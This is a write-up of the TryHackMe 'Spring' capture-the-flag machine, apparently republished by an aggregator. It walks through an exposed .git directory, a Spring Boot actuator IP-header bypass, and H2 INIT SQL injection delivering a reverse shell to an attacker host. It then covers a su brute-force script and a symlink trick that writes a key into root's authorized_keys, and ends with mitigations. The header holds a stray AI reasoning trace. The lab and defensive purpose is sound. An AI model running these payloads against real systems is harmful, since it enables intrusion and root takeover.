Spring — Spring Boot Actuator RCE + Symlink Arbitrary Write to Root | TryHackMe
嗯,用户让我总结这篇文章的内容,控制在100字以内,而且不需要用“文章内容总结”之类的开头。首先,我需要通读整篇文章,理解主要攻击路径和关键点。 文章讲的是一个Spring Boot应用被攻击的过程。攻击者首先通过暴露的.git目录获取源代码,发现了自定义的IP信任头和凭证。然后利用这个头绕过IP限制,访问了actuator端点,进一步注入恶意配置和SQL注入获得shell。接着通过模式化暴力破解获得用户权限,最后利用systemd服务的漏洞提升权限到root。 我需要把这些步骤浓缩成简短的描述,确保涵盖所有关键步骤:.git暴露、自定义IP头、actuator利用、SQL注入、暴力破解、systemd提权。同时保持语言简洁明了。 可能的结构是:攻击者利用.git获取源码,发现配置绕过限制,通过actuator注入SQL获得初始访问,再暴力破解获取用户权限,最后利用systemd漏洞提权到root。 这样控制在100字以内应该没问题。 </think> 攻击者通过暴露的.git目录获取源代码并发现自定义IP信任头和凭证,利用该头绕过IP限制访问Spring Boot Actuator端点。随后通过H2数据库INIT参数注入SQL获取初始访问权限,并结合模式化暴力破解获得用户johnsmith的凭据。最终利用root拥有的systemd服务写入symlink将攻击者公钥注入root的authorized_keys文件中,成功获得SSH访问并提权至root。 2026-4-24 10:4:4 Author: infosecwriteups.com(查看原文) 阅读量:19 收藏

Roshan Rajbanshi

This machine presents a deliberately misconfigured Spring Boot application sitting behind HTTPS on port 443. The attack surface opened immediately with an exposed .git directory — reconstructing the source code with git-dumper revealed not only valid credentials but a non-standard IP trust header that was the only key to unlocking the actuator endpoints. With the actuator accessible, a chained attack combining a fake Spring Cloud Config Server response and an H2 database INIT SQL injection delivered a shell as nobody. From there, a pattern-based brute force against su derived from two known passwords and a developer's commit message — landed credentials for johnsmith. The escalation path to root came through a root-owned systemd service that wrote log output into a directory owned by johnsmith: by pre-creating symlinks pointing at /root/.ssh/authorized_keys and using the application's own Hello World endpoint as a write primitive, the attacker's public key was injected into root's authorized keys, and SSH access was established.

Press enter or click to view image in full size

Attack Path: git-dumper (.git exposure)source code review (custom IP header + credentials)actuator env dump (plaintext secrets)H2 INIT SQL injection (shell as nobody)pattern-based wordlist + su brute force (johnsmith)systemd tee symlink write (root)

Platform: TryHackMe
Machine: Spring
Difficulty: Hard
OS: Linux (Ubuntu 18.04.4 LTS)
Date: April 2026

Table of Contents
1. Reconnaissance
1.1 Full Port Scan
1.2 Service Enumeration
1.3 Web Enumeration
2. Source Code Recovery
2.1 Git Directory Exposure
2.2 Credential and Configuration Extraction
3. Initial Access — Spring Boot Actuator RCE via H2 SQL Injection
3.1 Actuator IP Restriction Bypass
3.2 Runtime Environment Dump
3.3 Connectivity Probe
3.4 Fake Config Server and H2 Exploit Chain
4. Lateral Movement — Pattern-Based su Brute Force
4.1 Password Pattern Inference
4.2 Wordlist Generation and Sorting
4.3 Wordlist Formatting and Transfer
4.4 Brute Force Execution
4.5 Stable SSH Access
5. Privilege Escalation — systemd tee Symlink Write to Root
5.1 Service Enumeration
5.2 The Write Primitive
5.3 Exploit Script
6. Proof of Compromise7. Vulnerability Summary8. Defense and Mitigation

1. Reconnaissance

1.1 Full Port Scan

The engagement began with a full TCP port scan to establish the complete attack surface before committing to service enumeration.

nmap -Pn -p- --open <TARGET_IP>
PORT    STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https

Three ports: SSH on 22, HTTP on 80, and HTTPS on 443. The HTTP port immediately redirected to HTTPS, indicating that 443 was the primary application surface.

1.2 Service Enumeration

A targeted service scan against the two web ports confirmed the technology stack.

nmap -Pn -p80,443 --open -sV --script http-enum,http-title <TARGET_IP>
80/tcp  open  http   Apache Tomcat (language: en)
|_http-title: Did not follow redirect to https://<TARGET_IP>/
443/tcp open ssl/http Apache Tomcat (language: en)
|_http-title: Site doesn't have a title (text/plain;charset=UTF-8).

Both ports were running Apache Tomcat. Inspecting the TLS certificate on port 443 revealed the subject CN=John Smith, O=spring.thm — a named individual and an internal domain, both useful for later targeting.

1.3 Web Enumeration

Directory enumeration against the HTTPS application surface revealed two notable paths.

gobuster dir -u https://<TARGET_IP> \
-w /usr/share/wordlists/dirb/common.txt -k
/logout   (Status: 302) [--> https://<TARGET_IP>/login?logout]
/sources (Status: 302) [--> /sources/]

Press enter or click to view image in full size

The /logout redirect confirmed Spring Security was handling authentication. The /sources path pointed to a static file directory, the significance of which would become clear after recovering the source code.

A second round of enumeration was then performed specifically against /sources/, which revealed an additional subdirectory.

Press enter or click to view image in full size

The presence of /sources/new/ suggested a separate deployment or archived code location, making it a strong candidate for further review.

Press enter or click to view image in full size

💡 The -k flag suppresses TLS certificate validation errors — essential when testing applications using self-signed certificates.

2. Source Code Recovery

2.1 Git Directory Exposure

Browsing to https://<TARGET_IP>/.git/ returned a directory listing rather than a 404, confirming that the .git metadata directory had been deployed alongside the application. git-dumper was used to reconstruct the full repository from loose objects and pack files.

pip install git-dumper
git-dumper https://<TARGET_IP>/.git/ git-dump/
cd git-dump && tree
.
├── build.gradle
├── gradle/wrapper/gradle-wrapper.properties
├── gradlew
├── gradlew.bat
├── settings.gradle
└── src/main/
├── java/com/onurshin/spring/Application.java
├── resources/application.properties
└── resources/dummycert.p12

Reviewing the git log immediately surfaced a critical clue.

git log --oneline
git show <COMMIT_HASH>

One commit message read: “changed security password to my usual format” — a direct signal that a password pattern was in use across multiple credentials.

2.2 Credential and Configuration Extraction

application.properties contained the application's full runtime configuration in plaintext.

spring.security.user.name=johnsmith
spring.security.user.password=<REDACTED_PASSWORD>
server.tomcat.remoteip.remote-ip-header=x-9ad42dea0356cb04
management.endpoint.env.keys-to-sanitize=
management.endpoints.web.exposure.include=health,env,beans,shutdown,mappings,restart
server.forward-headers-strategy=native
spring.cloud.config.uri=
spring.cloud.config.allow-override=true

Three properties were immediately significant. First, a non-standard IP trust header — x-9ad42dea0356cb04 — replaced the conventional X-Forwarded-For. Second, management.endpoint.env.keys-to-sanitize was deliberately left blank, meaning the actuator would expose all secrets in plaintext rather than masking them with asterisks. Third, spring.cloud.config.uri it was empty and allow-override was true, making the config URI injectable at runtime.

Application.java confirmed the actuator restriction:

.antMatchers("/actuator**/**").hasIpAddress("172.16.0.0/24")

Access to all actuator endpoints was restricted to the 172.16.0.0/24 subnet. However, because server.forward-headers-strategy=native it was set, Tomcat would resolve the client's IP from the header named in server.tomcat.remoteip.remote-ip-header — which was the custom header discovered above. Any request supplying that header with a value inside the trusted subnet would bypass the restriction entirely.

💡 This finding was only possible because the source code was available. Generic tools and off-the-shelf advisories would suggest X-Forwarded-For as the bypass vector — which this application completely ignores. Source code review converted a dead end into the engagement's central pivot.

build.gradle confirmed the dependency versions:

Spring Boot 2.3.1.RELEASE
Spring Cloud Greenwich.SR4
H2 database (in-memory, runtimeOnly)

3. Initial Access — Spring Boot Actuator RCE via H2 SQL Injection

3.1 Actuator IP Restriction Bypass

With the custom trust header identified, actuator access was straightforward.

curl -sk \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
https://<TARGET_IP>/actuator/env | python3 -m json.tool

The endpoint responded with the full runtime environment dump, confirming the bypass was successful.

3.2 Runtime Environment Dump

The /actuator/env response exposed several properties that were not present in the git repository, confirming that command-line arguments override classpath configuration at the highest priority level.

"commandLineArgs": {
"server.ssl.key-store": { "value": "/opt/privcert.p12" },
"server.ssl.key-store-password": { "value": "<REDACTED_PASSWORD>" }
}

The dummycert.p12 Referenced in the commitment application.properties was a decoy. The real TLS certificate resided at /opt/privcert.p12 and was passed at startup via command-line arguments — a deliberate separation of the production secret from the version-controlled configuration.

The system environment block revealed the full launch command and confirmed the process ownership model:

"SUDO_COMMAND": "/bin/su nobody -s /bin/bash -c java ... -jar spring-0.0.1-SNAPSHOT.jar",
"USERNAME": "root",
"USER": "nobody"

Root initiated the process, then dropped privileges to nobody via su. The JVM and any shell spawned from it would run as nobody. The java.class.path Property confirmed the JAR location: /opt/spring/sources/new/spring-0.0.1-SNAPSHOT.jar — inside the /sources/ static directory discovered during enumeration, making the JAR directly downloadable.

The /actuator/mappings response confirmed three endpoints that together form the RCE primitive:

POST   /actuator/env       ← inject a runtime property
DELETE /actuator/env ← remove injected properties
POST /actuator/restart ← restart the application context
POST /actuator/shutdown ← terminate the JVM process entirely

3.3 Connectivity Probe

Before constructing the full exploit chain, outbound connectivity from the target was verified. A fake spring.cloud.config.uri was injected, and the application was restarted.

# Inject a test config URI pointing at the attacker machine
curl -sk -X POST \
-H "Content-Type: application/json" \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
-d '{"name":"spring.cloud.config.uri","value":"http://<ATTACKER_IP>:8888"}' \
https://<TARGET_IP>/actuator/env
# Restart the application context
curl -sk -X POST \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
https://<TARGET_IP>/actuator/restart

The netcat listener on port 8888 received the connection:

Connection received on <TARGET_IP>
GET /application/default HTTP/1.1
User-Agent: Java/1.8.0_252

Outbound connectivity was confirmed, and the Spring Cloud Config client was active. The GET /application/default request matched the expected client fetch pattern: /<app-name>/<profile>.

3.4 Fake Config Server and H2 Exploit Chain

The exploit chain worked as follows. A fake Spring Cloud Config Server response was served from the attacker's machine. That response contained a malicious spring.datasource.url use of H2's INIT parameter, which executes SQL at connection time. The SQL payload used H2's CREATE ALIAS feature to define a Java method as a stored procedure, then called that method with a reverse shell command.

Directory structure on the attacker machine:

mkdir ~/spring-rce && cd ~/spring-rce

Fake config server response (application-default.json):

{
"name": "application",
"profiles": ["default"],
"label": null,
"version": null,
"state": null,
"propertySources": [
{
"name": "malicious",
"source": {
"spring.datasource.url": "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://<ATTACKER_IP>:8889/exploit.sql'"
}
}
]
}

SQL payload (exploit.sql):

CREATE ALIAS IF NOT EXISTS EXEC AS $$ String exec(String cmd) throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", cmd};
Process proc = rt.exec(commands);
return "done";
} $$;
CALL EXEC('bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1');

H2 compiles CREATE ALIAS definitions as real Java inside the running JVM. Runtime.exec() spawns the reverse shell as a subprocess inheriting the JVM's process context.

Get Roshan Rajbanshi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Serving the payloads:

# Terminal 1 — config server
python3 -m http.server 8888
# Terminal 2 — SQL payload server
python3 -m http.server 8889

Reverse shell listener:

nc -lvnp 4444

Injecting the datasource property and triggering a restart:

curl -sk -X POST \
-H "Content-Type: application/json" \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
-d '{"name":"spring.datasource.url","value":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '\''http://<ATTACKER_IP>:8889/exploit.sql'\''"}' \
https://<TARGET_IP>/actuator/env
curl -sk -X POST \
-H "x-9ad42dea0356cb04: 172.16.0.1" \
-u johnsmith:<REDACTED_PASSWORD> \
https://<TARGET_IP>/actuator/restart

The hit sequence on the attacker's machine confirmed the full chain:

Port 8888: GET /application/default   ← config fetched
Port 8889: GET /exploit.sql ← H2 INIT triggered
Port 4444: nobody@spring:/$ ← shell received

4. Lateral Movement — Pattern-Based su Brute Force

4.1 Password Pattern Inference

Two passwords were known at this point from the source code and the actuator dump:

<REDACTED_PASSWORD>   ← Spring security user (application.properties)
<REDACTED_PASSWORD> ← TLS keystore (command-line argument at startup)

Both followed the same structure: PrettyS3cure + a capitalized English word + Password123. The commit message — "changed security password to my usual format" — confirmed this was a deliberate convention. The reasonable assumption was that johnsmith's OS account password followed the same pattern.

💡 This is pattern-based password inference — not a dictionary attack in the traditional sense. Two known examples were enough to define a precise search space, reducing 14 million rockyou entries to under 90,000 candidates before a single authentication attempt was made.

4.2 Wordlist Generation and Sorting

Capitalized words were extracted from rockyou.txt using a regular expression that matched words beginning with a single uppercase letter followed by one or more lowercase letters — exactly the pattern the known passwords used.

# Extract capitalized single-case words from rockyou
cat /usr/share/wordlists/rockyou.txt | grep -E '^[A-Z][a-z]+$' > pass.txt
wc -l pass.txt
# 89,652 words

The extracted list was in the arbitrary order of rockyou.txt, which is frequency-biased toward common passwords but not sorted alphabetically. To increase the likelihood of an early hit, the list was sorted alphabetically so that the brute force would step through words in a consistent, predictable sequence — allowing progress to be tracked and the run to be resumed at a known position if interrupted.

sort pass.txt > pass_sorted.txt

4.3 Wordlist Formatting and Transfer

With the sorted base list in place, each word was expanded into the full candidate password using sed. Pre-building the complete password string meant the brute force script could pass each line directly to su without performing any string construction at runtime.

# Pre-build the full password for each word
cat pass_sorted.txt | sed 's/.*/PrettyS3cure&Password123./' > formatted.txt
head -3 formatted.txt
PrettyS3cureAaronPassword123.
PrettyS3cureAbPassword123.
PrettyS3cureAbbyPassword123.

The formatted wordlist was served from the attacker's machine and downloaded to the target.

# On attacker machine
python3 -m http.server 9001
# On target
wget -q http://<ATTACKER_IP>:9001/formatted.txt -O /tmp/formatted.txt

4.4 Brute Force Execution

SSH on this machine accepts public key authentication only, ruling out Hydra over SSH. The only viable path was brute forcing su on the target itself. su requires a TTY and will not accept passwords from a non-interactive pipe. The script -qc wrapper creates a pseudo-TTY that satisfies this requirement.

cat > /tmp/su_bruteforce.sh << 'EOF'
#!/bin/bash
TARGET_USER="johnsmith"
WORDLIST="${1:-/tmp/formatted.txt}"
COUNTER=0
TOTAL=$(wc -l < "$WORDLIST")
echo "[+] Target : $TARGET_USER"
echo "[+] Words : $TOTAL"
echo "--------------------------------------------"
while IFS= read -r password || [[ -n "$password" ]]; do
[[ -z "$password" ]] && continue
COUNTER=$((COUNTER + 1))
output=$( ( sleep 0.1s && echo "$password" ) | \
script -qc "su $TARGET_USER -c 'id'" /dev/null 2>/dev/null)
if [[ "$output" == *"uid="* && "$output" != *"Authentication failure"* ]]; then
echo ""
echo "[+] CRACKED! $TARGET_USER:$password"
echo "$output"
echo "$password" > /tmp/found_password.txt
exit 0
else
printf "[%6d/%d] FAIL %s\n" "$COUNTER" "$TOTAL" "$password"
fi
done < "$WORDLIST"echo "[-] Not found after $COUNTER attempts"
EOF
bash /tmp/su_bruteforce.sh /tmp/formatted.txt

The password was recovered at attempt 320:

[+] CRACKED! johnsmith:<REDACTED_PASSWORD>
uid=1000(johnsmith) gid=1000(johnsmith) groups=1000(johnsmith)

To establish a stable session and free the reverse shell from blocking the web server process, an SSH keypair was generated, and the public key was added to johnsmith's authorized keys.

# On attacker machine
ssh-keygen -t ed25519 -f /tmp/johnsmith_key -N ""
# On target as johnsmith
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo "<ATTACKER_PUBLIC_KEY>" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
# Connect
ssh -i /tmp/johnsmith_key johnsmith@<TARGET_IP>

5. Privilege Escalation — systemd tee Symlink Write to Root

5.1 Service Enumeration

Enumerating non-standard systemd services revealed the escalation path.

cat /etc/systemd/system/spring.service
[Unit]
Description=Spring Boot Application
After=syslog.target
StartLimitIntervalSec=0
[Service]
User=root
Restart=always
RestartSec=1
ExecStart=/root/start_tomcat.sh
[Install]
WantedBy=multi-user.target

/root/start_tomcat.sh was not readable, but systemctl status spring.service revealed its contents through the process tree:

├─ /bin/bash /root/start_tomcat.sh
├─ sudo su nobody ... java -jar spring-0.0.1-SNAPSHOT.jar
└─ tee /home/johnsmith/tomcatlogs/<epoch_timestamp>.log

Press enter or click to view image in full size

Three facts combined to create the vulnerability. tee was running as root, writing log output to a file named with the current Unix epoch timestamp. The tomcatlogs directory was owned by johnsmith — writable without restriction. And Restart=always with RestartSec=1 meant the service would resurrect itself within one second of being terminated, generating a fresh tee invocation with a new timestamp.

💡 The log filename was the epoch timestamp at the moment the service started — entirely predictable. Owning the parent directory meant that symlinks could be pre-created under any predictable filename, and root’s tee would follow them without question.

5.2 The Write Primitive

The Hello World controller in Application.java contained a second detail that made this exploit precise:

public String hello(@RequestParam(value = "name", defaultValue = "World") String name) {
System.out.println(name);
return String.format("Hello, %s!", name);
}

System.out.println(name) writes the name request parameter directly to the JVM's standard output — which tee was capturing and writing to the log file. This meant any content sent as the name parameter would be written into whatever file the symlink pointed at.

/root/.ssh/authorized_keys was the ideal target. SSH silently skips lines it cannot parse as valid public keys, so all of the Spring Boot startup output would be ignored — only a valid key line would be acted upon.

The exploit required /root/.ssh/ to be absent at the time of execution — confirmed during enumeration — meaning tee would create both the directory and the file upon first write, provided the symlink was in place beforehand.

5.3 Exploit Script

The full exploit was scripted and run from inside the tomcatlogs directory.

cat > /home/johnsmith/tomcatlogs/get_root.sh << 'EOF'
#!/bin/bash
# Generate SSH keypair if one does not already exist
[ -f ./key ] || ssh-keygen -t ed25519 -f ./key -q -N ""
pubkey=$(cat ./key.pub)
# Send shutdown to the actuator — this terminates the JVM entirely,
# forcing systemd to restart the service with a fresh tee and a new timestamp
curl -sk -X POST https://localhost/actuator/shutdown \
-H 'x-9ad42dea0356cb04: 172.16.0.1' \
-u johnsmith:<REDACTED_PASSWORD>
echo "[*] Shutdown sent — planting symlinks..."# Pre-create 30 symlinks covering the next 30 seconds of possible restart timestamps
# This eliminates timing precision as a requirement
d=$(date '+%s')
for i in {1..30}; do
let time=$(( d + i ))
ln -sf /root/.ssh/authorized_keys "${time}.log" 2>/dev/null
done
echo "[*] Waiting for service to restart..."
sleep 30s
# Send the attacker public key as the name parameter
# System.out.println writes it to stdout, tee writes it to the symlink target
echo "[*] Writing public key via Hello World endpoint..."
curl -sk --data-urlencode "name=$pubkey" https://localhost/ \
-u johnsmith:<REDACTED_PASSWORD>
sleep 5secho "[*] Connecting as root..."
ssh -o "StrictHostKeyChecking=no" -i ./key root@localhost
EOF
cd /home/johnsmith/tomcatlogs
bash get_root.sh

⚠️ The critical distinction here is /actuator/shutdown versus /actuator/restart. The restart endpoint bounces the Spring application context within the existing JVM process — tee keeps running with the same timestamp and the same file handle. Shutdown terminates the entire process, forcing systemd to execute start_tomcat.sh from scratch and produce a new tee invocation with a fresh timestamp that the symlinks can intercept.

The script executed successfully. The service restarted, tee followed the symlink into /root/.ssh/authorized_keys, the public key was written via the Hello World endpoint, and the SSH connection was established:

root@spring:~# id
uid=0(root) gid=0(root) groups=0(root)

6. Proof of Compromise

uid=0(root) gid=0(root) groups=0(root)

7. Vulnerability Summary

# Vulnerability Severity Impact 1 Exposed .git directory in web root High Full source code and credential disclosure 2 Hardcoded credentials in version-controlled config High Valid authentication against live application 3 Spring Boot Actuator exposed with IP-bypass misconfiguration Critical Full runtime environment read and write access 4 Blank keys-to-sanitize In the actuator env endpoint, High All secrets exposed in plaintext 5 Injectable spring.cloud.config.uri with H2 in-memory database Critical Unauthenticated remote code execution 6 Predictable password pattern across credentials Medium Password recovery via targeted brute force 7 Root-owned process writing to user-writable directory High Arbitrary file write as root via symlink

8. Defense and Mitigation

8.1 Exposed .git Directory

Root Cause: The application was deployed by copying the project directory to the web root without stripping version control metadata. The .git directory served as static content, allowing complete source code and commit history reconstruction.

Mitigations:

  • Exclude .git from deployment artifacts. Use .gitignore patterns in deployment pipelines and verify no metadata directories are present in the web root before go-live.
  • Block access at the web server level. For Apache Tomcat, restrict access to dot-directories:
<security-constraint>
<web-resource-collection>
<url-pattern>/.git/*</url-pattern>
</web-resource-collection>
<auth-constraint/>
</security-constraint>
  • Scan for exposed metadata before deployment using tools such as truffleHog or gitleaks in the CI/CD pipeline.

8.2 Hardcoded Credentials in Version-Controlled Configuration

Root Cause: Credentials were committed directly into application.properties, which was tracked by git. Any exposure of the repository — intentional or otherwise — resulted in immediate credential disclosure.

Mitigations:

  • Never commit credentials to version control. Use environment variables or a secrets manager (HashiCorp Vault, AWS Secrets Manager, Spring Cloud Vault) to inject credentials at runtime.
  • Rotate all credentials exposed in the git history immediately upon discovery. Removing the file from HEAD is insufficient — the history must be rewritten using git filter-branch or git filter-repo And the remote must be force-pushed.
  • Scan commit history in CI/CD using gitleaks or truffleHog to detect secrets before they reach a remote repository.

8.3 Actuator Misconfiguration and IP Bypass

Root Cause: The actuator was restricted to a trusted subnet using Spring Security’s hasIpAddress, but server.forward-headers-strategy=native was configured alongside a custom remote-ip-header. This combination allowed any client to spoof a trusted source IP by supplying the appropriate header value.

Mitigations:

  • Disable actuator endpoints that are not required in production. The minimum safe configuration exposes only /actuator/health:
management.endpoints.web.exposure.include=health
management.endpoints.enabled-by-default=false
management.endpoint.health.enabled=true
  • Never use header-based IP trust for security-sensitive access control without a properly configured reverse proxy that strips and re-injects the header. If the header can be set by the client, the check is bypassed.
  • Require authentication for all actuator endpoints regardless of IP restrictions, treating network position and header values as untrusted.

8.4 Blank keys-to-sanitize

Root Cause: The management.endpoint.env.keys-to-sanitize property was set to an empty string, disabling Spring Boot's built-in secret masking for the /actuator/env endpoint. All property values — passwords, keys, connection strings — were returned in plaintext.

⚠️ The default Spring Boot behavior masks values for keys matching patterns like password, secret, key, and token. Explicitly clearing this list removes all protection.

Mitigations:

  • Do not override the default sanitization list unless there is a specific, justified reason to do so.
  • If custom sanitization is required, extend the defaults rather than replacing them:
management.endpoint.env.keys-to-sanitize=password,secret,key,token,credentials,vcap_services,sun.java.command

8.5 Injectable Spring Cloud Config URI with H2 INIT

Root Cause: Three conditions aligned to produce remote code execution: the spring.cloud.config.uri property was blank and injectable via the writable actuator env endpoint. spring.cloud.config.allow-override=true permitted runtime property injection; and the H2 in-memory database was present as a runtime dependency, providing the INIT=RUNSCRIPT FROM code execution primitive.

Mitigations:

  • Remove the H2 dependency from production builds. H2 is a development and testing database and should be scoped accordingly:
testRuntimeOnly 'com.h2database:h2'
  • Disable the writable actuator env endpoint in production. The POST /actuator/env endpoint exists for Spring Cloud Config refresh workflows and has no legitimate use in a hardened deployment.
  • Explicitly set spring.cloud.config.allow-override=false if external config is not in use, preventing any runtime property injection.

8.6 Predictable Password Pattern

Root Cause: A consistent password format was applied across all credentials used by the same operator. A developer's commit message explicitly disclosed the pattern, and two known passwords confirmed it. This reduced the effective keyspace from millions of candidates to fewer than 400 before the correct password was recovered.

Mitigations:

  • Use a password manager to generate and store unique, random credentials for each service. No two credentials for the same individual should share a pattern.
  • Do not describe password formats in commit messages. Commit messages are version-controlled history and may be exposed through git metadata leaks.
  • Enforce password uniqueness across service accounts and personal accounts for all personnel with privileged system access.

8.7 Root Process Writing to User-Writable Directory

Root Cause: The systemd service executed tee as root, writing to a file inside a directory owned and writable by an unprivileged user. Because the directory was writable, that user could replace any future file path inside it with a symlink pointing to an arbitrary target. Roots tee followed the symlink without any validation, producing a root-owned write to a file the unprivileged user specified.

⚠️ This class of vulnerability — a privileged process operating on paths inside a directory controlled by a less-privileged user — is a symlink attack. The predictability of the target filename (Unix epoch timestamp) made exploitation trivial.

Mitigations:

  • Never write privileged output to directories owned by unprivileged users. Log output from root processes must go to paths owned by root, such as /var/log/spring/:
mkdir -p /var/log/spring
chown root:root /var/log/spring
chmod 750 /var/log/spring
  • Use tee -a with an absolute, root-owned path, and ensure the parent directory is not writable by any other user.
  • Configure systemd logging to capture service stdout via the journal rather than piping to a user-space tee invocation:
[Service]
StandardOutput=journal
StandardError=journal
  • Apply the sticky bit to shared directories where unprivileged users must write but should not be able to influence each other’s files. While this does not fully mitigate the issue when a privileged process is involved, it reduces casual symlink planting in shared locations:
chmod +t /home/johnsmith/tomcatlogs

文章来源: https://infosecwriteups.com/spring-spring-boot-actuator-rce-symlink-arbitrary-write-to-root-tryhackme-ed5c7635ed3c?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh